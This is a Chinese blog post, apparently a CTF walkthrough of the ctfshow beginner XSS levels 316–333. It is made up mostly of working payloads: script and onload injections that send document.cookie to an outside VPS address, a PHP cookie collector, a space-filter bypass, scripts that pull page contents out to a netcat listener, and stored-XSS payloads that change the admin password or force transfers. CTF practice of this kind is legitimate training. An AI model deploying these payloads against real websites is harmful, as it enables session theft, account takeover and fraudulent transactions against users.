ctfshow web入门之xss

316

1
<script>document.location.href='http://112.124.39.118/x.php?1='+document.cookie</script>

x.php

1
2
3
4
5
6
7
8
9
10
11
<?php
$content=$_GET[1];
if (isset($content)){
file_put_contents('/tmp/flag.txt',$content);
}
else
echo "no file";



?>

然后去自己的vps的/tmp/flag.txt 看 发现了flag

317

应该是过滤了 <script>标签

1
2
3
4
<body onload="window.location.href='http://112.124.39.118/x.php?1='+document.cookie"></body>


<body onload="document.location.href='http://112.124.39.118/x.php?1='+document.cookie"></body>

上面这两个都行

318

同317

319

同317

320

多过滤了空格 用 /**/ 替换空格

1
<body/**/onload="window.location.href='http://112.124.39.118/x.php?1='+document.cookie"></body>

321

同320

322

同320

323

同320

324

同320

325

同320

326

同320

327

存储型 xss

收件人得是 admin 否则发送不成功

信的内容放paylaod

payload还是 320

328

在注册用户的地方 密码放进payload

1
<script>window.location.href='http://112.124.39.118/x.php?1='+document.cookie;</script>

在vps上获取 管理员 cookie 然后成功以admin的身份登录

然后抓包获取 flag

329

这里获取cookie并没有用

因为每次一获取 管理员就会登出 导致cookie每次都不一样 我们这里使用js 获取页面信息

1
<script>$('.layui-table-cell laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexof('ctf'+'show{')>-1{window.location.href='http://112.124.39.118/x.php?1='+value.innerHTML;}});</script>
1
var img = new Image();img.src = “http://112.124.39.118/xx.php?1=”+document.querySelector(’#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main’).textContent;document.body.append(img);

下面这一种直接 nc监听就行了

1
<script>window.open('http://112.124.39.118:9911/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

330

多了个修改密码功能,为GET请求
注册用户名:<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
密码:随意
提交,然后等10s用管理员账户登录
再然后就可以看到flag了

也可以用下面的方法注册

1
<script>$.ajax({url:"http://127.0.0.1/api/change.php?p=111111",success:function(result){}});</script>

**补充 **

ajax也就是异步

这个要跟同步的概念一起理解,举个同步的例子
就是当你浏览页面的时候,你点击一个按钮或者链接,那么这个界面就会向服务器发送请求,此时你眼前的界面就是一片空白,直到请求的数据返回页面上才有东西显示。就是一个操作要等前一个做完才可以开始。
而异步则不同,比如一个注册页面
你填写名字,密码,邮箱之类的信息,界面看上去什么都没有变化,但是其实你注册的这个界面已经向服务器发送了一个请求来验证你的用户名是否已经存在。就是后台与界面可以进行数据交互,而界面则可以继续保持一直跟用户交互而不受影响。

331

改成 post方式就行

(记得加上script标签)

1
<script>$.ajax({url: "http://127.0.0.1/api/change.php",method: "POST",data:{'p':'111111'},cache: false,success: function(res){}});</script>

332

向admin转账 -10000 自己就获得 10000了

逻辑漏洞

333

注册用户用下面这个 payload 管理员就会给我们自己转10000元

1
<script>$.ajax({url:"http://127.0.0.1/api/amount.php",method:"POST",data:{'u':'12','a':10000},cache: false,success: function(res){}});</script>
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~